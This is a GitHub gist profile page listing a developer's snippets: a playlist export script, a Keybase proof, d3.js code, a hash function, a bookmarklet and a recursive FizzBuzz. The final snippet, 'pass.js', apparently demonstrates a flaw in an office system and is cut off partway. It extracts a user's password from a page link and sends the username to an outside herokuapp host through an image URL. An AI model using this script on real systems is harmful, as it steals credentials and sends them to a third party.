Skip to content

Instantly share code, notes, and snippets.

View tianshuo's full-sized avatar
💭
Learning deeply

Tianshuo tianshuo

💭
Learning deeply
View GitHub Profile
@tianshuo
tianshuo / ExportNetEaseMusicSongList.js
Last active April 3, 2023 12:46 — forked from XueshiQiao/ExportNetEaseMusicSongList.js
导出网易云音乐歌单到 AppleMusic / Spotify 等平台
/**
* 使用方法:
* 1. 用 Chrome 打开歌单的 web 页面(可以通过分享拿到链接,链接类似这样:http://music.163.com/playlist?id=xxx&userid=yyy)
* 2. 然后右键“检查”(如果有左上角有 device 选项,需要选择 Laptop 开头的,可以在 Edit/编辑 里添加)
* 3. 在 console 里输入下面脚本,即可输出 “歌曲名 - 歌手名” 格式的内容:
Springsteen - Eric Church
Chattahoochee - Alan Jackson
Baby Now That I Found You - Alison Krauss
Check Yes or No - George Strait
@tianshuo
tianshuo / pgp proof
Created September 5, 2016 08:40
Tianshuo PGP key
### Keybase proof
I hereby claim:
* I am tianshuo on github.
* I am tianshuo (https://keybase.io/tianshuo) on keybase.
* I have a public key whose fingerprint is DB4E BEB5 94F8 6D5D 278C 5BA2 8F90 D71E E6E8 842C
To claim this, I am signing this object:
d3 = function() {
var d3 = {
version: "3.3.8"
};
if (!Date.now) Date.now = function() {
return +new Date();
};
var d3_arraySlice = [].slice, d3_array = function(list) {
return d3_arraySlice.call(list);
};
//This algorithm is from http://www.hellocq.net/forum/simple/?t284938.html
function dohash(theCall){
var hash=0x73e2;
var rootCall=theCall.split("-")[0].toUpperCase();
for(var i=0;i<rootCall.length;i+=2){
hash^=rootCall.charCodeAt(i)<<8;
hash^=rootCall.charCodeAt(i+1);
}
return hash & 0x7fff;
}
@tianshuo
tianshuo / gist:4459570
Created January 5, 2013 03:35
A better Hacker News submit bookmarklet
javascript:title=prompt("Submit title",document.title)?window.location="http://news.ycombinator.com/submitlink?u="+encodeURIComponent(document.location)+"&t="+encodeURIComponent(title):0
@tianshuo
tianshuo / recursive-fizzbuzz.js
Created November 26, 2012 08:06
Recursive Fizzbuzz with Y-combinator in javascript
/* Recursive Fizzbuzz with Y-combinator in javascript...
* Tail-recursion and no loops
* By TiansHUo http://tianshuohu.diandian.com
* Y-combinator from: http://blog.jcoglan.com/2008/01/10/deriving-the-y-combinator/
*/
var Y = function(f) {
return (function(g) {
return g(g);
})(function(h) {
@tianshuo
tianshuo / pass.js
Created July 20, 2012 07:13
GetPassword
// 协同办公有严重安全隐患
document.body.appendChild(document.createElement('script')).src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js";
document.getElementsByTagName("a")[3].outerHTML.match(/password=(.*)&/);
document.write("<h1 id='ps123' style='color:red;display:inline;'>你的密码是:"+RegExp.$1+"</h1>");
document.write("<img src='http://frozen-tor-6666.herokuapp.com/XIETONG:"+document.getElementsByTagName("a")[3].outerHTML.match(/username(.*)url/)+"' />");
$(function(){
var showpass=function(doc){
window.password=doc.match(/password=.*?&/).toString().slice(9,-1);
$("#ps123").text($("#UserHead1_Label1").text()+",你的密码是:"+password);